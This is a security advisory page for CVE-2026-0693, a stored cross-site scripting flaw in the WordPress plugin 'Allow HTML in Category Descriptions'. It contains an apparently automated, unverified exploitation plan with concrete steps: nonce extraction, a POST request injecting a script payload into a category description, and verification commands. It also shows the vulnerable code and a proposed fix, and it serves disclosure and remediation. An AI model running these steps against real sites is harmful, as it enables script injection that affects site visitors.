CVE-2026-0693

Allow HTML in Category Descriptions <= 1.2.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Category Descriptions

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Allow HTML in Category Descriptions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via category descriptions in all versions up to, and including, 1.2.4. This is due to the plugin unconditionally removing the `wp_kses_data` output filter for term_description, link_description, link_notes, and user_description fields without checking user capabilities. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in category descriptions that will execute whenever a user accesses a page where the category description is displayed. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.4
PublishedFebruary 13, 2026
Last updatedApril 15, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0693 ## 1. Vulnerability Summary The **Allow HTML in Category Descriptions** plugin (<= 1.2.4) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The plugin's core purpose is to allow HTML in fields that WordPress usually sanitizes (category descriptions,…

Show full research plan

Exploitation Research Plan: CVE-2026-0693

1. Vulnerability Summary

The Allow HTML in Category Descriptions plugin (<= 1.2.4) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin's core purpose is to allow HTML in fields that WordPress usually sanitizes (category descriptions, user bios, etc.). It achieves this by unconditionally removing the wp_kses_data filter from several output hooks.

Because the plugin does not check for the unfiltered_html capability before removing these filters, it allows users with the ability to edit terms (Administrators, and in some configs, Editors) to inject arbitrary JavaScript. This is specifically critical in WordPress Multisite environments or installations where DISALLOW_UNFILTERED_HTML is defined as true, as it bypasses the security restrictions intended to prevent even administrators from using dangerous HTML.

2. Attack Vector Analysis

  • Vulnerable Endpoints:
    • wp-admin/edit-tags.php (for creating/editing categories/tags)
    • wp-admin/term.php (for editing existing terms)
  • Vulnerable Parameters: description (associated with the term being created or edited).
  • Authentication Level: Authenticated (Administrator+). While the severity is medium because it requires high privileges, it constitutes a privilege escalation in restricted environments (Multisite).
  • Preconditions:
    • The plugin Allow HTML in Category Descriptions must be active.
    • To demonstrate the vulnerability effectively (bypassing core protections), the environment should have define( 'DISALLOW_UNFILTERED_HTML', true ); in wp-config.php.

3. Code Flow (Inferred)

  1. Initialization: The plugin likely hooks into init or plugins_loaded.
  2. Filter Removal: Inside the initialization function, the plugin executes:
    remove_filter( 'pre_term_description', 'wp_filter_kses' );
    remove_filter( 'term_description', 'wp_kses_data' );
    remove_filter( 'link_description', 'wp_kses_data' );
    remove_filter( 'link_notes', 'wp_kses_data' );
    remove_filter( 'user_description', 'wp_kses_data' );
    
  3. Storage: When an administrator saves a category description, the pre_term_description filter (which normally strips HTML) is missing, allowing the raw payload to be saved to the wp_term_taxonomy table in the description column.
  4. Rendering: When a category page is viewed on the frontend or the category list is viewed in the admin dashboard, the term_description filter (which normally sanitizes output) is missing, leading to the execution of the stored script.

4. Nonce Acquisition Strategy

Since this exploit requires updating category settings as an administrator, we must use the standard WordPress administrative nonces.

  1. Login: Use the http_request tool to log in as the administrator.
  2. Navigate to Category Page: Use browser_navigate to go to wp-admin/edit-tags.php?taxonomy=category.
  3. Extract Nonce:
    • For Creating a new category: Use browser_eval to get the value of the _wpnonce_add-tag hidden input.
    • For Editing an existing category: Navigate to the specific edit page (wp-admin/term.php?taxonomy=category&tag_ID=[ID]) and extract the _wpnonce value.
    • Javascript: document.querySelector('input[name="_wpnonce"]')?.value || document.querySelector('input[name="_wpnonce_add-tag"]')?.value

5. Exploitation Strategy

Step 1: Force Restricted Environment

Ensure the environment restricts unfiltered_html to prove the plugin is introducing the flaw.

wp config set DISALLOW_UNFILTERED_HTML true --raw

Step 2: Inject Stored XSS

We will create a new category with a script payload in the description.

Request Details:

  • Tool: http_request
  • Method: POST
  • URL: http://[TARGET]/wp-admin/edit-tags.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: add-tag
    • screen: edit-category
    • taxonomy: category
    • post_type: post
    • _wpnonce_add-tag: [EXTRACTED_NONCE]
    • tag-name: Vulnerable Category
    • slug: vuln-cat
    • description: <script>alert("CVE-2026-0693_XSS")</script>

Step 3: Trigger XSS

The payload will trigger when viewing the category archive page.

Request Details:

  • Tool: http_request
  • Method: GET
  • URL: http://[TARGET]/category/vuln-cat/

6. Test Data Setup

  1. Plugin Installation: wp plugin install allow-html-in-category-descriptions --version=1.2.4 --activate
  2. User Creation: Ensure an administrator user exists.
  3. Environment Config: wp config set DISALLOW_UNFILTERED_HTML true --raw. This is the crucial "security hardening" that the plugin breaks.

7. Expected Results

  • On Injection: The request should return a 302 redirect back to edit-tags.php, and the database should contain the unescaped <script> tag in the description field for the new term.
  • On Execution: The HTML response of the category archive page should contain the literal string <script>alert("CVE-2026-0693_XSS")</script> without being entity-encoded or stripped.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the content was stored raw.
    wp term list category --fields=name,description --format=json | grep "CVE-2026-0693_XSS"
    
  2. Source Inspection: Use http_request to fetch the frontend page and check for the payload.
    # Check if the script tag is present and NOT escaped
    http_request(url="http://[TARGET]/category/vuln-cat/") 
    # Search response for <script>alert("CVE-2026-0693_XSS")</script>
    

9. Alternative Approaches

If the plugin is used to update the User Description (Bio) instead:

  1. Navigate to wp-admin/profile.php.
  2. Extract the _wpnonce for user profile updates.
  3. Send a POST request to wp-admin/profile.php with the description parameter set to the XSS payload.
  4. Verify by viewing the author's archive page or the profile page itself.

If the site uses a custom theme that displays descriptions via the_archive_description() (which calls term_description()), the XSS will trigger there as well.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Allow HTML in Category Descriptions plugin removes standard WordPress security filters that sanitize HTML for category, link, and user descriptions. This allows authenticated administrators to inject arbitrary JavaScript into these fields, which executes when viewed, bypassing security restrictions intended for Multisite or hardened environments where the unfiltered_html capability is disabled.

Vulnerable Code

// allow-html-in-category-descriptions.php

remove_filter( 'pre_term_description', 'wp_filter_kses' );
remove_filter( 'term_description', 'wp_kses_data' );
remove_filter( 'link_description', 'wp_kses_data' );
remove_filter( 'link_notes', 'wp_kses_data' );
remove_filter( 'user_description', 'wp_kses_data' );

Security Fix

--- allow-html-in-category-descriptions.php
+++ allow-html-in-category-descriptions.php
@@ -1,5 +1,9 @@
-remove_filter( 'pre_term_description', 'wp_filter_kses' );
-remove_filter( 'term_description', 'wp_kses_data' );
-remove_filter( 'link_description', 'wp_kses_data' );
-remove_filter( 'link_notes', 'wp_kses_data' );
-remove_filter( 'user_description', 'wp_kses_data' );
+add_action('init', function() {
+    if (current_user_can('unfiltered_html')) {
+        remove_filter( 'pre_term_description', 'wp_filter_kses' );
+        remove_filter( 'term_description', 'wp_kses_data' );
+        remove_filter( 'link_description', 'wp_kses_data' );
+        remove_filter( 'link_notes', 'wp_kses_data' );
+        remove_filter( 'user_description', 'wp_kses_data' );
+    }
+});

Exploit Outline

The exploit targets WordPress installations where the 'unfiltered_html' capability is restricted (such as Multisite or sites with DISALLOW_UNFILTERED_HTML enabled). 1. Authentication: The attacker must authenticate as a user with permissions to edit categories or user profiles (typically an Administrator). 2. Payload Injection: The attacker navigates to the category management page (wp-admin/edit-tags.php?taxonomy=category) or user profile page. 3. Data Submission: The attacker submits a POST request to create or update a category/profile, including a malicious script (e.g., <script>alert(1)</script>) in the 'description' parameter. 4. Execution: The payload is stored without sanitization because the plugin has disabled the 'wp_filter_kses' and 'wp_kses_data' filters. The script executes whenever the category description or user bio is rendered on the frontend or backend.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.